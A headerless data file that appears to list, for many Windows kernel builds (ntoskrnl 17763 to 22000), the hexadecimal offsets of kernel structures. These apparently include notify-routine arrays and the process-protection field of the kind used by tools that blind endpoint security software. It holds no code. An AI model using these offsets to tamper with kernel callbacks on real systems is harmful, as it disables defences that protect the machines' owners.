-ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50,5432d0,5432f8,c8 -ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-1007.exe,4d8c30,4d8830,4d8a30,6ca,4096a0,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-1039.exe,4d8b30,4d8d30,4d8930,6ca,409698,20,50,5412d0,5412f8,c8 -ntoskrnl_17763-1075.exe,4d9d30,4d9930,4d9b30,6ca,40a650,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1098.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1131.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1132.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1158.exe,4d9af0,4d9cf0,4d98f0,6ca,40a678,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1192.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1217.exe,4d9d30,4d9930,4d9b30,6ca,40a670,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1282.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1294.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1339.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1369.exe,4d9d70,4d9970,4d9b70,6ca,40a6b0,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1397.exe,4d9bf0,4d97f0,4d99f0,6ca,40a6c0,20,60,5422d0,5422f8,c8 -ntoskrnl_17763-1432.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8 -ntoskrnl_17763-1457.exe,4d7b30,4d7d30,4d7930,6ca,408698,20,60,5402d0,5402f8,c8 -ntoskrnl_17763-1490.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1518.exe,4d5b30,4d5d30,4d5930,6ca,406698,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1554.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1577.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1613.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1637.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1697.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1728.exe,4d5cf0,4d58f0,4d5af0,6ca,406630,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1757.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1790.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1817.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1821.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1823.exe,4d5b70,4d5d70,4d5970,6ca,4066d8,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1852.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1879.exe,4d5bf0,4d57f0,4d59f0,6ca,4066c0,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-1911.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-1935.exe,4d6870,4d6a70,4d6670,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-1971.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-1999.exe,4d6bb0,4d67b0,4d69b0,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2028.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2029.exe,4d67b0,4d69b0,4d65b0,6ca,407418,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2061.exe,4d58f0,4d5af0,4d56f0,6ca,406430,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2090.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2114.exe,4d5930,4d5b30,4d5730,6ca,406470,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2145.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2183.exe,4d68b0,4d6ab0,4d66b0,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2213.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2268.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2300.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2330.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2366.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8 -ntoskrnl_17763-2452.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2458.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2510.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2565.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2628.exe,4d68f0,4d6af0,4d66f0,6ca,407438,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2686.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2746.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2803.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2867.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2928.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2931.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-2989.exe,4d6880,4d6a80,4d6680,6ca,407450,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3046.exe,4d6840,4d6a40,4d6640,6ca,407430,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3165.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3232.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3287.exe,4d6a80,4d6680,4d6880,6ca,407458,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3346.exe,4d6940,4d6b40,4d6740,6ca,407450,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3406.exe,4d6940,4d6b40,4d6740,6ca,407450,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3469.exe,4d6900,4d6b00,4d6700,6ca,407430,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3532.exe,4d6880,4d6a80,4d6680,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3534.exe,4d6880,4d6a80,4d6680,6ca,407480,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-3650.exe,4d8b00,4d8700,4d8900,6ca,409440,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-3770.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-3772.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-3887.exe,4d8a00,4d8600,4d8800,6ca,409418,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-4010.exe,4d8b00,4d8700,4d8900,6ca,409440,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-4131.exe,4d7980,4d7b80,4d7780,6ca,408458,20,60,53f2d0,53f2f8,c8 -ntoskrnl_17763-4252.exe,4d89c0,4d8bc0,4d87c0,6ca,409438,20,60,5402d0,5402f8,c8 -ntoskrnl_17763-4377.exe,4d89c0,4d8bc0,4d87c0,6ca,409438,20,60,5402d0,5402f8,c8 -ntoskrnl_17763-4644.exe,4d8900,4d8b00,4d8700,6ca,409458,20,60,5402d0,5402f8,c8 -ntoskrnl_17763-4737.exe,4d8940,4d8b40,4d8740,6ca,409478,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-4851.exe,4d8c00,4d8800,4d8a00,6ca,4094b8,20,60,5412d0,5412f8,c8 -ntoskrnl_17763-4974.exe,4d8b40,4d8740,4d8940,6ca,409478,20,60,5402d0,5402f8,c8 -ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8 -ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 -ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8 -ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 -ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8 -ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50,572390,5723b8,c8 -ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50,572390,5723b8,c8 -ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50,573390,5733b8,c8 -ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8 -ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8 -ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8 -ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8 -ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50,574390,5743b8,c8 -ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50,574390,5743b8,c8 -ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8 -ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50,574390,5743b8,c8 -ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50,574390,5743b8,c8 -ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8 -ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50,574390,5743b8,c8 -ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60,574390,5743b8,c8 -ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8 -ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8 -ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 -ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 -ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8 -ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8 -ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8 -ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8 -ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8 -ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60,574390,5743b8,c8 -ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60,574390,5743b8,c8 -ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60,574390,5743b8,c8 -ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60,572390,5723b8,c8 -ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60,572390,5723b8,c8 -ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60,572390,5723b8,c8 -ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 -ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 -ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 -ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 -ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8 -ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60,572390,5723b8,c8 -ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1443.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60,572390,5723b8,c8 -ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 -ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 -ntoskrnl_18362-1593.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 -ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 -ntoskrnl_18362-1646.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8 -ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60,571390,5713b8,c8 -ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-1854.exe,503ba0,503da0,5039a0,6fa,432c58,20,60,572390,5723b8,c8 -ntoskrnl_18362-1916.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8 -ntoskrnl_18362-1977.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8 -ntoskrnl_18362-2037.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-2039.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-2094.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-2158.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-2212.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_18362-2274.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8 -ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1320.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1466.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1469.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1503.exe,cebfa0,cec3a0,cec1a0,87a,c197a0,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1526.exe,cec4e0,cec2e0,cec0e0,87a,c197a0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1566.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1586.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1620.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1645.exe,cec3a0,cec1a0,cebfa0,87a,c19de8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1682.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1706.exe,cec260,cec060,cec460,87a,c19e08,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1708.exe,cec460,cec260,cec060,87a,c19de8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1741.exe,cebf60,cec360,cec160,87a,c19770,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-1766.exe,cec4a0,cec2a0,cec0a0,87a,c19810,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1806.exe,cec0e0,cec4e0,cec2e0,87a,c19df8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1826.exe,cec3e0,cec1e0,cebfe0,87a,c19df8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1865.exe,cec120,cec520,cec320,87a,c19de0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1889.exe,cec060,cec460,cec260,87a,c19dd8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-1949.exe,cec460,cec260,cec060,87a,c19790,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2006.exe,cec420,cec220,cec020,87a,c19d98,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2075.exe,cec0a0,cec4a0,cec2a0,87a,c19da8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2130.exe,cec420,cec220,cec020,87a,c19790,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2193.exe,cec020,cec420,cec220,87a,c197f8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2194.exe,cec420,cec220,cec020,87a,c197f8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2251.exe,cec1e0,cebfe0,cec3e0,87a,c19838,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2311.exe,cec420,cec220,cec020,87a,c19818,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2486.exe,cec4a0,cec2a0,cec0a0,87a,c197b8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2546.exe,cec120,cebf20,cec320,87a,c197d8,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-2604.exe,cec120,cebf20,cec320,87a,c19798,20,60,cfb410,cfb440,c8 -ntoskrnl_19041-2673.exe,cec3e0,cec1e0,cebfe0,87a,c197d8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2728.exe,cec520,cec320,cec120,87a,c197b8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2788.exe,cec0e0,cec4e0,cec2e0,87a,c19df0,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2846.exe,cec120,cec520,cec320,87a,c19e50,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2913.exe,cec0a0,cec4a0,cec2a0,87a,c19e68,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-2965.exe,cec0a0,cec4a0,cec2a0,87a,c19e28,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3031.exe,cec2a0,cec0a0,cec4a0,87a,c19e30,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3086.exe,cec0e0,cec4e0,cec2e0,87a,c19e28,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3155.exe,cec4e0,cec2e0,cec0e0,87a,c19e30,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3208.exe,cec2a0,cec0a0,cec4a0,87a,c19e08,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3271.exe,cec420,cec220,cec620,87a,c19838,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3324.exe,cec620,cec420,cec220,87a,c19818,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3393.exe,cec2e0,cec0e0,cec4e0,87a,c19838,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3448.exe,cec460,cec260,cec060,87a,c19858,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3516.exe,cec1a0,cec5a0,cec3a0,87a,c197f8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3570.exe,cec660,cec460,cec260,87a,c197d8,20,60,cfc410,cfc440,c8 -ntoskrnl_19041-3636.exe,cec5e0,cec3e0,cec1e0,87a,c197b8,20,60,cfc410,cfc440,c8 -ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8 -ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8 -ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8 -ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8 -ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8 -ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8 -ntoskrnl_22000-434.exe,cf5dc0,cf61c0,cf5fc0,87a,c163b8,20,60,d06890,d068c0,c8 -ntoskrnl_22000-438.exe,cf5e00,cf6200,cf6000,87a,c16398,20,60,d06890,d068c0,c8 -ntoskrnl_22000-469.exe,cf6140,cf6340,cf5f40,87a,c15d38,20,60,d06890,d068c0,c8 